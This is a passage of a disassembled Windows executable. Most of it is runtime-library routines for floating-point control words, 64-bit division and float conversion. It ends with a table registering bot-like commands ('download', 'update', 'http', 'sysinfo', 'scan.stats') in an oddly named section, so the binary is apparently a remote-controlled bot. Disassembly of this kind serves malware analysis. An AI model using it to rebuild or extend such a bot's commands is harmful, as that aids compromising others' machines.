		cmp	ecx, edi
		jz	short loc_41D4E4
		cmp	ecx, ebx
		jz	short loc_41D4DD
		cmp	ecx, esi
		jnz	short loc_41D4E9
		or	eax, 6000h
		jmp	short loc_41D4E9
; ---------------------------------------------------------------------------

loc_41D4DD:				; CODE XREF: sub_41D477+59j
		or	eax, 4000h
		jmp	short loc_41D4E9
; ---------------------------------------------------------------------------

loc_41D4E4:				; CODE XREF: sub_41D477+55j
		or	eax, 2000h

loc_41D4E9:				; CODE XREF: sub_41D477+51j
					; sub_41D477+5Dj ...
		mov	ecx, 3000000h
		pop	edi
		and	edx, ecx
		cmp	edx, 1000000h
		pop	esi
		pop	ebx
		jz	short loc_41D511
		cmp	edx, 2000000h
		jz	short loc_41D50D
		cmp	edx, ecx
		jnz	short locret_41D516
		or	eax, 8000h
		retn
; ---------------------------------------------------------------------------

loc_41D50D:				; CODE XREF: sub_41D477+8Aj
		or	eax, 40h
		retn
; ---------------------------------------------------------------------------

loc_41D511:				; CODE XREF: sub_41D477+82j
		or	eax, 8040h

locret_41D516:				; CODE XREF: sub_41D477+8Ej
		retn
sub_41D477	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D517	proc near		; CODE XREF: sub_41B96F+25p
					; sub_41B96F+55p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	ebx
		push	ebp
		push	esi
		push	edi
		fstcw	word ptr [esp+20h+var_C]
		mov	ebx, [esp+20h+var_C]
		xor	edx, edx
		test	bl, 1
		jz	short loc_41D531
		push	10h
		pop	edx

loc_41D531:				; CODE XREF: sub_41D517+15j
		test	bl, 4
		jz	short loc_41D539
		or	edx, 8

loc_41D539:				; CODE XREF: sub_41D517+1Dj
		test	bl, 8
		jz	short loc_41D541
		or	edx, 4

loc_41D541:				; CODE XREF: sub_41D517+25j
		test	bl, 10h
		jz	short loc_41D549
		or	edx, 2

loc_41D549:				; CODE XREF: sub_41D517+2Dj
		test	bl, 20h
		jz	short loc_41D551
		or	edx, 1

loc_41D551:				; CODE XREF: sub_41D517+35j
		test	bl, 2
		jz	short loc_41D55C
		or	edx, 80000h

loc_41D55C:				; CODE XREF: sub_41D517+3Dj
		movzx	ecx, bx
		mov	eax, ecx
		mov	edi, 0C00h
		and	eax, edi
		mov	ebp, 300h
		mov	esi, 200h
		jz	short loc_41D594
		cmp	eax, 400h
		jz	short loc_41D58E
		cmp	eax, 800h
		jz	short loc_41D58A
		cmp	eax, edi
		jnz	short loc_41D594
		or	edx, ebp
		jmp	short loc_41D594
; ---------------------------------------------------------------------------

loc_41D58A:				; CODE XREF: sub_41D517+69j
		or	edx, esi
		jmp	short loc_41D594
; ---------------------------------------------------------------------------

loc_41D58E:				; CODE XREF: sub_41D517+62j
		or	edx, 100h

loc_41D594:				; CODE XREF: sub_41D517+5Bj
					; sub_41D517+6Dj ...
		and	ecx, ebp
		jz	short loc_41D5A4
		cmp	ecx, esi
		jnz	short loc_41D5AA
		or	edx, 10000h
		jmp	short loc_41D5AA
; ---------------------------------------------------------------------------

loc_41D5A4:				; CODE XREF: sub_41D517+7Fj
		or	edx, 20000h

loc_41D5AA:				; CODE XREF: sub_41D517+83j
					; sub_41D517+8Bj
		test	bx, 1000h
		jz	short loc_41D5B7
		or	edx, 40000h

loc_41D5B7:				; CODE XREF: sub_41D517+98j
		mov	esi, [esp+20h+arg_4]
		mov	ecx, [esp+20h+arg_0]
		mov	eax, esi
		not	eax
		and	eax, edx
		and	ecx, esi
		or	eax, ecx
		cmp	eax, edx
		mov	[esp+20h+var_4], eax
		jz	loc_41D67F
		mov	ebx, eax
		call	sub_41D3E9
		movzx	eax, ax
		mov	[esp+20h+var_10], eax
		fldcw	word ptr [esp+20h+var_10]
		fstcw	word ptr [esp+20h+var_10]
		mov	ebx, [esp+20h+var_10]
		xor	edx, edx
		test	bl, 1
		jz	short loc_41D5FA
		push	10h
		pop	edx

loc_41D5FA:				; CODE XREF: sub_41D517+DEj
		test	bl, 4
		jz	short loc_41D602
		or	edx, 8

loc_41D602:				; CODE XREF: sub_41D517+E6j
		test	bl, 8
		jz	short loc_41D60A
		or	edx, 4

loc_41D60A:				; CODE XREF: sub_41D517+EEj
		test	bl, 10h
		jz	short loc_41D612
		or	edx, 2

loc_41D612:				; CODE XREF: sub_41D517+F6j
		test	bl, 20h
		jz	short loc_41D61A
		or	edx, 1

loc_41D61A:				; CODE XREF: sub_41D517+FEj
		test	bl, 2
		jz	short loc_41D625
		or	edx, 80000h

loc_41D625:				; CODE XREF: sub_41D517+106j
		movzx	ecx, bx
		mov	eax, ecx
		and	eax, edi
		jz	short loc_41D652
		cmp	eax, 400h
		jz	short loc_41D64C
		cmp	eax, 800h
		jz	short loc_41D644
		cmp	eax, edi
		jnz	short loc_41D652
		or	edx, ebp
		jmp	short loc_41D652
; ---------------------------------------------------------------------------

loc_41D644:				; CODE XREF: sub_41D517+123j
		or	edx, 200h
		jmp	short loc_41D652
; ---------------------------------------------------------------------------

loc_41D64C:				; CODE XREF: sub_41D517+11Cj
		or	edx, 100h

loc_41D652:				; CODE XREF: sub_41D517+115j
					; sub_41D517+127j ...
		and	ecx, ebp
		jz	short loc_41D666
		cmp	ecx, 200h
		jnz	short loc_41D66C
		or	edx, 10000h
		jmp	short loc_41D66C
; ---------------------------------------------------------------------------

loc_41D666:				; CODE XREF: sub_41D517+13Dj
		or	edx, 20000h

loc_41D66C:				; CODE XREF: sub_41D517+145j
					; sub_41D517+14Dj
		test	bx, 1000h
		jz	short loc_41D679
		or	edx, 40000h

loc_41D679:				; CODE XREF: sub_41D517+15Aj
		mov	eax, edx
		mov	[esp+20h+var_4], edx

loc_41D67F:				; CODE XREF: sub_41D517+B8j
		cmp	dword_434E20, 0
		jz	loc_41D812
		and	esi, 308031Fh
		mov	edi, esi
		stmxcsr	[esp+20h+var_8]
		mov	eax, [esp+20h+var_8]
		xor	esi, esi
		test	al, al
		jns	short loc_41D6A6
		push	10h
		pop	esi

loc_41D6A6:				; CODE XREF: sub_41D517+18Aj
		test	ax, 200h
		jz	short loc_41D6AF
		or	esi, 8

loc_41D6AF:				; CODE XREF: sub_41D517+193j
		test	ax, 400h
		jz	short loc_41D6B8
		or	esi, 4

loc_41D6B8:				; CODE XREF: sub_41D517+19Cj
		test	ax, 800h
		jz	short loc_41D6C1
		or	esi, 2

loc_41D6C1:				; CODE XREF: sub_41D517+1A5j
		test	ax, 1000h
		jz	short loc_41D6CA
		or	esi, 1

loc_41D6CA:				; CODE XREF: sub_41D517+1AEj
		test	ax, 100h
		jz	short loc_41D6D6
		or	esi, 80000h

loc_41D6D6:				; CODE XREF: sub_41D517+1B7j
		mov	ecx, eax
		mov	ebp, 6000h
		and	ecx, ebp
		jz	short loc_41D70B
		cmp	ecx, 2000h
		jz	short loc_41D705
		cmp	ecx, 4000h
		jz	short loc_41D6FD
		cmp	ecx, ebp
		jnz	short loc_41D70B
		or	esi, 300h
		jmp	short loc_41D70B
; ---------------------------------------------------------------------------

loc_41D6FD:				; CODE XREF: sub_41D517+1D8j
		or	esi, 200h
		jmp	short loc_41D70B
; ---------------------------------------------------------------------------

loc_41D705:				; CODE XREF: sub_41D517+1D0j
		or	esi, 100h

loc_41D70B:				; CODE XREF: sub_41D517+1C8j
					; sub_41D517+1DCj ...
		mov	ebx, 8040h
		and	eax, ebx
		sub	eax, 40h
		jz	short loc_41D733
		sub	eax, 7FC0h
		jz	short loc_41D72B
		sub	eax, 40h
		jnz	short loc_41D739
		or	esi, 1000000h
		jmp	short loc_41D739
; ---------------------------------------------------------------------------

loc_41D72B:				; CODE XREF: sub_41D517+205j
		or	esi, 3000000h
		jmp	short loc_41D739
; ---------------------------------------------------------------------------

loc_41D733:				; CODE XREF: sub_41D517+1FEj
		or	esi, 2000000h

loc_41D739:				; CODE XREF: sub_41D517+20Aj
					; sub_41D517+212j ...
		mov	edx, edi
		and	edi, [esp+20h+arg_0]
		not	edx
		and	edx, esi
		or	edx, edi
		cmp	edx, esi
		jnz	short loc_41D750
		mov	eax, esi
		jmp	loc_41D7FB
; ---------------------------------------------------------------------------

loc_41D750:				; CODE XREF: sub_41D517+230j
		call	sub_41D477
		push	eax
		mov	[esp+24h+arg_4], eax
		call	sub_41A14E
		pop	ecx
		stmxcsr	[esp+20h+arg_4]
		mov	eax, [esp+20h+arg_4]
		xor	edx, edx
		test	al, al
		jns	short loc_41D772
		push	10h
		pop	edx

loc_41D772:				; CODE XREF: sub_41D517+256j
		mov	edi, 200h
		test	eax, edi
		jz	short loc_41D77E
		or	edx, 8

loc_41D77E:				; CODE XREF: sub_41D517+262j
		test	ax, 400h
		jz	short loc_41D787
		or	edx, 4

loc_41D787:				; CODE XREF: sub_41D517+26Bj
		test	ax, 800h
		jz	short loc_41D790
		or	edx, 2

loc_41D790:				; CODE XREF: sub_41D517+274j
		test	ax, 1000h
		jz	short loc_41D799
		or	edx, 1

loc_41D799:				; CODE XREF: sub_41D517+27Dj
		mov	esi, 100h
		test	eax, esi
		jz	short loc_41D7A8
		or	edx, 80000h

loc_41D7A8:				; CODE XREF: sub_41D517+289j
		mov	ecx, eax
		and	ecx, ebp
		jz	short loc_41D7D0
		cmp	ecx, 2000h
		jz	short loc_41D7CE
		cmp	ecx, 4000h
		jz	short loc_41D7CA
		cmp	ecx, ebp
		jnz	short loc_41D7D0
		or	edx, 300h
		jmp	short loc_41D7D0
; ---------------------------------------------------------------------------

loc_41D7CA:				; CODE XREF: sub_41D517+2A5j
		or	edx, edi
		jmp	short loc_41D7D0
; ---------------------------------------------------------------------------

loc_41D7CE:				; CODE XREF: sub_41D517+29Dj
		or	edx, esi

loc_41D7D0:				; CODE XREF: sub_41D517+295j
					; sub_41D517+2A9j ...
		and	eax, ebx
		sub	eax, 40h
		jz	short loc_41D7F3
		sub	eax, 7FC0h
		jz	short loc_41D7EB
		sub	eax, 40h
		jnz	short loc_41D7F9
		or	edx, 1000000h
		jmp	short loc_41D7F9
; ---------------------------------------------------------------------------

loc_41D7EB:				; CODE XREF: sub_41D517+2C5j
		or	edx, 3000000h
		jmp	short loc_41D7F9
; ---------------------------------------------------------------------------

loc_41D7F3:				; CODE XREF: sub_41D517+2BEj
		or	edx, 2000000h

loc_41D7F9:				; CODE XREF: sub_41D517+2CAj
					; sub_41D517+2D2j ...
		mov	eax, edx

loc_41D7FB:				; CODE XREF: sub_41D517+234j
		mov	ecx, [esp+20h+var_4]
		mov	edx, eax
		xor	edx, ecx
		or	eax, ecx
		test	edx, 8031Fh
		jz	short loc_41D812
		or	eax, 80000000h

loc_41D812:				; CODE XREF: sub_41D517+16Fj
					; sub_41D517+2F4j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10h
		retn
sub_41D517	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D81A	proc near		; CODE XREF: sub_41C45D+326p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		xor	esi, esi
		cmp	[ebp+arg_4], esi
		push	edi
		mov	[ebp+var_18], 404Eh
		mov	[eax], esi
		mov	[eax+4], esi
		mov	[eax+8], esi
		jbe	loc_41D990

loc_41D84A:				; CODE XREF: sub_41D81A+146j
		mov	edx, [eax]
		mov	ebx, [eax+4]
		mov	esi, eax
		lea	edi, [ebp+var_10]
		movsd
		movsd
		movsd
		mov	ecx, edx
		shr	ecx, 1Fh
		lea	edi, [edx+edx]
		lea	edx, [ebx+ebx]
		or	edx, ecx
		mov	ecx, [eax+8]
		mov	esi, ebx
		shr	esi, 1Fh
		add	ecx, ecx
		or	ecx, esi
		mov	[ebp+var_14], edi
		mov	esi, edi
		and	[ebp+var_14], 0
		mov	ebx, edx
		shr	ebx, 1Fh
		add	ecx, ecx
		shr	edi, 1Fh
		or	ecx, ebx
		mov	ebx, [ebp+var_10]
		add	esi, esi
		add	edx, edx
		or	edx, edi
		lea	edi, [esi+ebx]
		cmp	edi, esi
		mov	[eax], esi
		mov	[eax+4], edx
		mov	[eax+8], ecx
		jb	short loc_41D8A1
		cmp	edi, ebx
		jnb	short loc_41D8A8

loc_41D8A1:				; CODE XREF: sub_41D81A+81j
		mov	[ebp+var_14], 1

loc_41D8A8:				; CODE XREF: sub_41D81A+85j
		xor	ebx, ebx
		cmp	[ebp+var_14], ebx
		mov	[eax], edi
		jz	short loc_41D8CB
		lea	esi, [edx+1]
		cmp	esi, edx
		jb	short loc_41D8BD
		cmp	esi, 1
		jnb	short loc_41D8C0

loc_41D8BD:				; CODE XREF: sub_41D81A+9Cj
		xor	ebx, ebx
		inc	ebx

loc_41D8C0:				; CODE XREF: sub_41D81A+A1j
		test	ebx, ebx
		mov	[eax+4], esi
		jz	short loc_41D8CB
		inc	ecx
		mov	[eax+8], ecx

loc_41D8CB:				; CODE XREF: sub_41D81A+95j
					; sub_41D81A+ABj
		mov	ecx, [eax+4]
		mov	edx, [ebp+var_C]
		lea	ebx, [ecx+edx]
		xor	esi, esi
		cmp	ebx, ecx
		jb	short loc_41D8DE
		cmp	ebx, edx
		jnb	short loc_41D8E1

loc_41D8DE:				; CODE XREF: sub_41D81A+BEj
		xor	esi, esi
		inc	esi

loc_41D8E1:				; CODE XREF: sub_41D81A+C2j
		test	esi, esi
		mov	[eax+4], ebx
		jz	short loc_41D8EB
		inc	dword ptr [eax+8]

loc_41D8EB:				; CODE XREF: sub_41D81A+CCj
		mov	ecx, [ebp+var_8]
		add	[eax+8], ecx
		and	[ebp+var_14], 0
		lea	ecx, [edi+edi]
		mov	edx, edi
		shr	edx, 1Fh
		lea	edi, [ebx+ebx]
		or	edi, edx
		mov	edx, [eax+8]
		mov	esi, ebx
		shr	esi, 1Fh
		lea	ebx, [edx+edx]
		mov	edx, [ebp+arg_0]
		or	ebx, esi
		mov	[eax], ecx
		mov	[eax+4], edi
		mov	[eax+8], ebx
		movsx	edx, byte ptr [edx]
		lea	esi, [ecx+edx]
		cmp	esi, ecx
		mov	[ebp+var_10], edx
		jb	short loc_41D92B
		cmp	esi, edx
		jnb	short loc_41D932

loc_41D92B:				; CODE XREF: sub_41D81A+10Bj
		mov	[ebp+var_14], 1

loc_41D932:				; CODE XREF: sub_41D81A+10Fj
		cmp	[ebp+var_14], 0
		mov	[eax], esi
		jz	short loc_41D956
		lea	ecx, [edi+1]
		xor	edx, edx
		cmp	ecx, edi
		jb	short loc_41D948
		cmp	ecx, 1
		jnb	short loc_41D94B

loc_41D948:				; CODE XREF: sub_41D81A+127j
		xor	edx, edx
		inc	edx

loc_41D94B:				; CODE XREF: sub_41D81A+12Cj
		test	edx, edx
		mov	[eax+4], ecx
		jz	short loc_41D956
		inc	ebx
		mov	[eax+8], ebx

loc_41D956:				; CODE XREF: sub_41D81A+11Ej
					; sub_41D81A+136j
		dec	[ebp+arg_4]
		inc	[ebp+arg_0]
		cmp	[ebp+arg_4], 0
		ja	loc_41D84A
		xor	esi, esi
		jmp	short loc_41D990
; ---------------------------------------------------------------------------

loc_41D96A:				; CODE XREF: sub_41D81A+179j
		mov	ecx, [eax+4]
		mov	edx, ecx
		shr	edx, 10h
		mov	[eax+8], edx
		mov	edx, [eax]
		mov	edi, edx
		shl	ecx, 10h
		shr	edi, 10h
		or	ecx, edi
		shl	edx, 10h
		add	[ebp+var_18], 0FFF0h
		mov	[eax+4], ecx
		mov	[eax], edx

loc_41D990:				; CODE XREF: sub_41D81A+2Aj
					; sub_41D81A+14Ej
		cmp	[eax+8], esi
		jz	short loc_41D96A
		mov	ebx, 8000h
		test	[eax+8], ebx
		jnz	short loc_41D9CF

loc_41D99F:				; CODE XREF: sub_41D81A+1B3j
		mov	esi, [eax]
		mov	edi, [eax+4]
		add	[ebp+var_18], 0FFFFh
		mov	ecx, esi
		add	esi, esi
		shr	ecx, 1Fh
		mov	[eax], esi
		lea	esi, [edi+edi]
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		shr	edx, 1Fh
		add	ecx, ecx
		or	ecx, edx
		test	ecx, ebx
		mov	[eax+4], esi
		mov	[eax+8], ecx
		jz	short loc_41D99F

loc_41D9CF:				; CODE XREF: sub_41D81A+183j
		mov	cx, word ptr [ebp+var_18]
		mov	[eax+0Ah], cx
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AFEE
		leave
		retn
sub_41D81A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41D9E6	proc near		; CODE XREF: sub_40E71D+24p
					; sub_4129BE+10p ...
		jmp	ds:off_41E19C
sub_41D9E6	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D9F0	proc near		; CODE XREF: sub_402AF2+2Fp
					; sub_402AF2+6Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_41DA11
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx

loc_41DA11:				; CODE XREF: sub_41D9F0+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41DA2D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx

loc_41DA2D:				; CODE XREF: sub_41D9F0+27j
		or	eax, eax
		jnz	short loc_41DA49
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41DA8A
; ---------------------------------------------------------------------------

loc_41DA49:				; CODE XREF: sub_41D9F0+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]

loc_41DA57:				; CODE XREF: sub_41D9F0+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_41DA57
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41DA85
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_41DA85
		jb	short loc_41DA86
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_41DA86

loc_41DA85:				; CODE XREF: sub_41D9F0+85j
					; sub_41D9F0+8Bj
		dec	esi

loc_41DA86:				; CODE XREF: sub_41D9F0+8Dj
					; sub_41D9F0+93j
		xor	edx, edx
		mov	eax, esi

loc_41DA8A:				; CODE XREF: sub_41D9F0+57j
		dec	edi
		jnz	short loc_41DA94
		neg	edx
		neg	eax
		sbb	edx, 0

loc_41DA94:				; CODE XREF: sub_41D9F0+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_41D9F0	endp

; ---------------------------------------------------------------------------
		align 10h
		cmp	dword_434E20, 0
		jz	short sub_41DAD6

loc_41DAA9:				; CODE XREF: .text:0041DAD4j
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		and	esp, 0FFFFFFF8h
		fstp	qword ptr [esp]
		cvttsd2si eax, qword ptr [esp]
		leave
		retn
; ---------------------------------------------------------------------------
		cmp	dword_434E20, 0
		jz	short sub_41DAD6
		sub	esp, 4
		fnstcw	word ptr [esp]
		pop	eax
		and	ax, 7Fh
		cmp	ax, 7Fh
		jz	short loc_41DAA9

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DAD6	proc near		; CODE XREF: .text:00409CCBp
					; .text:0041DAA7j ...

var_20		= dword	ptr -20h
var_10		= qword	ptr -10h
var_8		= dword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		and	esp, 0FFFFFFF0h
		fld	st
		fst	[esp+20h+var_8]
		fistp	[esp+20h+var_10]
		fild	[esp+20h+var_10]
		mov	edx, [esp+20h+var_8]
		mov	eax, dword ptr [esp+20h+var_10]
		test	eax, eax
		jz	short loc_41DB35

loc_41DAF9:				; CODE XREF: sub_41DAD6+69j
		fsubp	st(1), st
		test	edx, edx
		jns	short loc_41DB1D
		fstp	[esp+20h+var_20]
		mov	ecx, [esp+20h+var_20]
		xor	ecx, 80000000h
		add	ecx, 7FFFFFFFh
		adc	eax, 0
		mov	edx, dword ptr [esp+20h+var_10+4]
		adc	edx, 0
		jmp	short locret_41DB49
; ---------------------------------------------------------------------------

loc_41DB1D:				; CODE XREF: sub_41DAD6+27j
		fstp	[esp+20h+var_20]
		mov	ecx, [esp+20h+var_20]
		add	ecx, 7FFFFFFFh
		sbb	eax, 0
		mov	edx, dword ptr [esp+20h+var_10+4]
		sbb	edx, 0
		jmp	short locret_41DB49
; ---------------------------------------------------------------------------

loc_41DB35:				; CODE XREF: sub_41DAD6+21j
		mov	edx, dword ptr [esp+20h+var_10+4]
		test	edx, 7FFFFFFFh
		jnz	short loc_41DAF9
		fstp	[esp+20h+var_8]
		fstp	[esp+20h+var_8]

locret_41DB49:				; CODE XREF: sub_41DAD6+45j
					; sub_41DAD6+5Dj
		leave
		retn
sub_41DAD6	endp

; ---------------------------------------------------------------------------
		lea	ecx, [ebp-28h]
		jmp	loc_401D94

; =============== S U B	R O U T	I N E =======================================



sub_41DB53	proc near		; CODE XREF: sub_412337+14p
					; DATA XREF: sub_401E7B+2o ...

arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-54h]
		xor	ecx, eax
		call	sub_40AFEE
		mov	eax, offset dword_421980
		jmp	sub_40E76F
sub_41DB53	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB6E	proc near		; DATA XREF: sub_41576F+2o

arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-14h]
		xor	ecx, eax
		call	sub_40AFEE
		mov	eax, offset dword_421D30
		jmp	sub_40E76F
sub_41DB6E	endp

; ---------------------------------------------------------------------------

loc_41DB89:				; DATA XREF: sub_40209F+2o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-1Ch]
		xor	ecx, eax
		call	sub_40AFEE
		mov	eax, offset dword_422138
		jmp	sub_40E76F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_40D0AF
; ---------------------------------------------------------------------------

loc_41DBAC:				; DATA XREF: sub_401C3B+2o
					; sub_402043+2o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-14h]
		xor	ecx, eax
		call	sub_40AFEE
		mov	eax, offset dword_422164
		jmp	sub_40E76F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2Ch]
		jmp	loc_401D94
; ---------------------------------------------------------------------------

loc_41DBCF:				; DATA XREF: sub_4084E5+2o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-58h]
		xor	ecx, eax
		call	sub_40AFEE
		mov	eax, offset dword_422190
		jmp	sub_40E76F
; ---------------------------------------------------------------------------
		push	dword ptr [ebp-10h]
		call	sub_40D352
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_41DBF4:				; DATA XREF: sub_402F05+2o
					; sub_407F20+2o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-14h]
		xor	ecx, eax
		call	sub_40AFEE
		mov	eax, offset dword_4221BC
		jmp	sub_40E76F
; ---------------------------------------------------------------------------
		push	dword ptr [ebp-6Ch]
		call	sub_40D352
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_41DC19:				; DATA XREF: .text:0040A291o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-70h]
		xor	ecx, eax
		call	sub_40AFEE
		mov	ecx, [edx-4]
		xor	ecx, eax
		call	sub_40AFEE
		mov	eax, offset dword_4221E8
		jmp	sub_40E76F
; ---------------------------------------------------------------------------
		push	dword ptr [ebp-4C0h]
		call	sub_40D352
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_41DC4B:				; DATA XREF: .text:00408693o
					; .text:004088DBo
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-4C4h]
		xor	ecx, eax
		call	sub_40AFEE
		mov	ecx, [edx-4]
		xor	ecx, eax
		call	sub_40AFEE
		mov	eax, offset dword_422214
		jmp	sub_40E76F
; ---------------------------------------------------------------------------
		push	dword ptr [ebp-33Ch]
		call	sub_40D352
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_41DC80:				; DATA XREF: sub_4085A6+5o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-344h]
		xor	ecx, eax
		call	sub_40AFEE
		mov	ecx, [edx-4]
		xor	ecx, eax
		call	sub_40AFEE
		mov	eax, offset dword_422240
		jmp	sub_40E76F
; ---------------------------------------------------------------------------

loc_41DCA8:				; DATA XREF: ev73vtp2:0041E298o
		call	sub_401EEE
		and	dword_433CA4, 0
		push	offset loc_41DDB4
		mov	dword_433CA0, eax
		call	sub_40D206
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_41DCC5:				; DATA XREF: ev73vtp2:0041E298o
		call	sub_408558
		and	dword_433CB0, 0
		push	offset loc_41DDFD
		mov	dword_433CAC, eax
		call	sub_40D206
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_41DCE2:				; DATA XREF: ev73vtp2:0041E298o
		push	esi
		push	offset aDownload ; "download"
		mov	esi, offset off_433CB8
		call	sub_401CE7
		mov	off_433CB8, offset aOj@	; "ކ@"
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41DCFE:				; DATA XREF: ev73vtp2:0041E298o
		push	esi
		push	offset aUpdate	; "update"
		mov	esi, offset off_433CB4
		call	sub_401CE7
		mov	off_433CB4, offset aI@ ; "Öˆ@"
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41DD1A:				; DATA XREF: ev73vtp2:0041E298o
		push	esi
		push	offset aHttp	; "http"
		mov	esi, offset off_433CBC
		call	sub_401CE7
		mov	off_433CBC, offset aN@ ; "=@"
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41DD36:				; DATA XREF: ev73vtp2:0041E298o
		push	esi
		push	offset aSysinfo	; "sysinfo"
		mov	esi, offset off_433CC0
		call	sub_401CE7
		mov	off_433CC0, offset aR@ ; "\n@"
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41DD52:				; DATA XREF: ev73vtp2:0041E298o
		mov	eax, dword_424624
		add	eax, 6
		mov	dword_433CC4, eax
		retn
; ---------------------------------------------------------------------------

loc_41DD60:				; DATA XREF: ev73vtp2:0041E298o
		push	esi
		push	offset dword_421554
		mov	esi, offset off_433CD0
		call	sub_401CE7
		mov	off_433CD0, offset aPv@	; "¢@"
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41DD7C:				; DATA XREF: ev73vtp2:0041E298o
		push	esi
		push	offset aScn_end	; "scn.end"
		mov	esi, offset off_433CC8
		call	sub_401CE7
		mov	off_433CC8, offset a5z@	; "5§@"
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41DD98:				; DATA XREF: ev73vtp2:0041E298o
		push	esi
		push	offset aScan_stats ; "scan.stats"
		mov	esi, offset off_433CCC
		call	sub_401CE7
		mov	off_433CCC, offset off_4216B0
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41DDB4:				; DATA XREF: .text:0041DCB4o
		mov	eax, dword_433CA0
		mov	ecx, [eax]
		mov	[eax], eax
		mov	eax, dword_433CA0
		mov	[eax+4], eax
		and	dword_433CA4, 0
		cmp	ecx, dword_433CA0
		jz	short loc_41DDE9
		push	esi

loc_41DDD5:				; CODE XREF: .text:0041DDE6j
		mov	esi, [ecx]
		push	ecx
		call	sub_40D352
		cmp	esi, dword_433CA0
		pop	ecx
		mov	ecx, esi
		jnz	short loc_41DDD5
		pop	esi

loc_41DDE9:				; CODE XREF: .text:0041DDD2j
		push	dword_433CA0
		call	sub_40D352
		and	dword_433CA0, 0
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_41DDFD:				; DATA XREF: .text:0041DCD1o
		mov	eax, dword_433CAC
		mov	ecx, [eax]
		mov	[eax], eax
		mov	eax, dword_433CAC
		mov	[eax+4], eax
		and	dword_433CB0, 0
		cmp	ecx, dword_433CAC
		jz	short loc_41DE32
		push	esi

loc_41DE1E:				; CODE XREF: .text:0041DE2Fj
		mov	esi, [ecx]
		push	ecx
		call	sub_40D352
		cmp	esi, dword_433CAC
		pop	ecx
		mov	ecx, esi
		jnz	short loc_41DE1E
		pop	esi

loc_41DE32:				; CODE XREF: .text:0041DE1Bj
		push	dword_433CAC
		call	sub_40D352
		and	dword_433CAC, 0
		pop	ecx
		retn
; ---------------------------------------------------------------------------

